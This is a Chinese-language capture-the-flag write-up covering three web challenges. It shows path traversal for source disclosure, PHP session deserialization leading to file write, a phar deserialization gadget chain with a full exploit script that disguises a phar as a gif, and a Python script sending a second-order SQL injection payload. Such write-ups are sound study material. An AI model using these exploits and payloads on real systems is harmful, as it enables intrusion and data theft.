前言
周六看了一下巅峰极客的几道web题,难度不是很大,但是脑洞有一些,以下是题目记录。
LOL
拿到题目后,发现有一个上传页面:
点进去发现可控参数名较多,但最可疑的还是上传文件位置:
尝试上传一个文件,发现有两个路径,一个是upload,一个是download:
经过测试发现,文件名不是通过filename控制,而是通过phpsessionid控制:
尝试目录穿越,发现upload路径突然变成了绝对路径= =,估计代码哪里出现了问题:
同时访问文件,可以发现文件内容确实有写入:
然后就陷入了沉思,直到题目提示,注意download功能,又经过大量测试发现download功能的下载路径,是拼接了phpsessionid的路径的,于是我们首先创立upload目录:
然后进行任意源码读取:
我们可以通过该方法leak出整个网站的源码。
审计源码,发现可疑类:Cache.class.php
<?php class Cache{ public $data; public $sj; public $path; public $html; function __construct($data){ $this->data['name']=isset($data['post']['name'])?$data['post']['name']:''; $this->data['message']=isset($data['post']['message'])?$data['post']['message']:''; $this->data['image']=!empty($data['image'])?$data['image']:'/static/images/pic04.jpg'; $this->path=Cache_DIR.DS.session_id().'.php'; } function __destruct(){ $this->html=sprintf('<!DOCTYPE HTML><html><head><title>LOL</title><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" /><link rel="stylesheet" href="/static/css/main.css" /><noscript><link rel="stylesheet" href="/static/css/noscript.css" /></noscript> </head> <body class="is-preload"><div id="wrapper"><header id="header"> <div class="logo"><span class="icon fa-diamond"></span> </div> <div class="content"><div class="inner"> <h1>Hero of you</h1></div> </div> <nav><ul> <li><a href="#you">YOU</a></li></ul> </nav></header><div id="main"><article id="you"> <h2 class="major" ng-app>%s</h2> <span class="image main"><img src="%s" alt="" /></span> <p>%s</p><button type="button" onclick=location.href="/download/%s">下载</button></article></div><footer id="footer"></footer></div><script src="/static/js/jquery.min.js"></script><script src="/static/js/browser.min.js"></script><script src="/static/js/breakpoints.min.js"></script><script src="/static/js/util.js"></script><script src="/static/js/main.js"></script><script src="/static/js/angular.js"></script> </body></html>',substr($this->data['name'],0,62),$this->data['image'],$this->data['message'],session_id().'.jpg'); if(file_put_contents($this->path,$this->html)){ include($this->path); } } }
发现该类有任意文件写的功能,那么思考如何触发反序列化,这里可以用到Jarvis OJ / 2018 LCTF早就考过的考点:
https://skysec.top/2017/08/16/jarvisoj-web/#PHPINFO https://skysec.top/2018/11/17/2018-Xctf%20Final&LCTF-Bestphp/#bestphp%E2%80%99s-revenge
利用php session引擎的不同,进行反序列化,达成任意文件写入的目的:
最终可以getflag。
upload
打开题目发现有3个功能:
文件下载 文件上传 查看文件
依次打开,发现查看文件存在任意文件读取:
/file.php?file=/var/www/html/index.php
通过如上方法拖出所有源码,审计代码,发现文件查看功能使用了类:
那么容易想到phar反序列化,因为file_exists可以触发phar反序列化,于是迅速查找类的定义:
<?php class Show { public $source; public $str; public function __construct($file) { $text= $this->source; $text = base64_encode(file_get_contents($text)); return $text; } public function __toString() { $text= $this->source; $text = base64_encode(file_get_contents($text)); return $text; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|flag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class S6ow { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->params[$key]; } public function __call($name, $arguments) { if($this->{$name}) $this->{$this->{$name}}($arguments); } public function file_get($value) { echo $this->file; } } class Sh0w { public $test; public $str; public function __construct($name) { $this->str = new Show('index.php'); $this->str->source = $this->test; } public function __destruct() { $this->str->_show(); } } ?>
一般来说,反序列化的入口都可以从__destruct()发起,我们可以看到起调用了一个方法_show(),而这里如果str属性赋值为S6ow的对象,那么就会触发S6ow类的__call魔法方法,而当S6ow调用$name变量(_show)时,又会触发其__get方法,在__get方法中,由于之前访问的不可访问方法,会变为
return $this->params['_show'];
那么此时,只要给其赋值为file_get,即可利用echo触发show类的__toString魔法方法:
params['_show'] = 'file_get'
最终在show类的__toString魔法方法完成利用:
public function __toString() { $text= $this->source; $text = base64_encode(file_get_contents($text)); return $text; }
赋值source为/flag即可,那么可以构造exp如下:
<?php class Show { public $source; public $str; } class S6ow { public $file; public $params; } class Sh0w { public $test; public $str; } $sky = new Show(); $sky->source = "/flag"; $sky1 = new S6ow(); $sky1->params['_show'] = 'file_get'; $sky1->file = $sky; $sky2 = new Sh0w(); $sky2->str = $sky1; $phar = new Phar('skyfuck.phar'); $phar->startBuffering(); $phar->addFromString('test.php', 'test'); $phar->setStub('<?php __HALT_COMPILER(); ? >'); $phar->setMetadata($ss); $phar->stopBuffering(); rename('skyfuck.phar', 'skyfuck.gif');
运行脚本后生成skyfuck.gif,上传后,利用file.php的文件读取,使用phar://去访问该文件,最终可以拿到flag:
aweb_1
拿到题目,发现有注册和登录功能,同时提示只有admin才可以拿到flag,那么猜测是一道二次注入的题目,为了测试方便,写了一个脚本:
import requests s = requests.session() url_signup = 'http://47.104.173.173:7002/signup' url_login = 'http://47.104.173.173:7002/login' email = '[email protected]' payload = "admin'or'dddd'='dddd#" data = { 'email':email, 'name':payload, 'password':'1' } s = requests.post(url=url_signup,data=data) if 'Email address already exists' in s.content: print 'Email address already exists.' elif 'Username already exists.' in s.content: print 'Username already exists.' else: data = { 'email':email, 'password':'1' } s = requests.post(url_login,data) print s.content
发现题目过滤了空格,那么我们构造"万能密码",也就是闭合admin为恒真条件,即可拿到flag:
后记
总的来说,个人感觉第一道LOL的题目其实出的还行,就是刚开始leak源码的思路比较难想到,在这里卡了很久~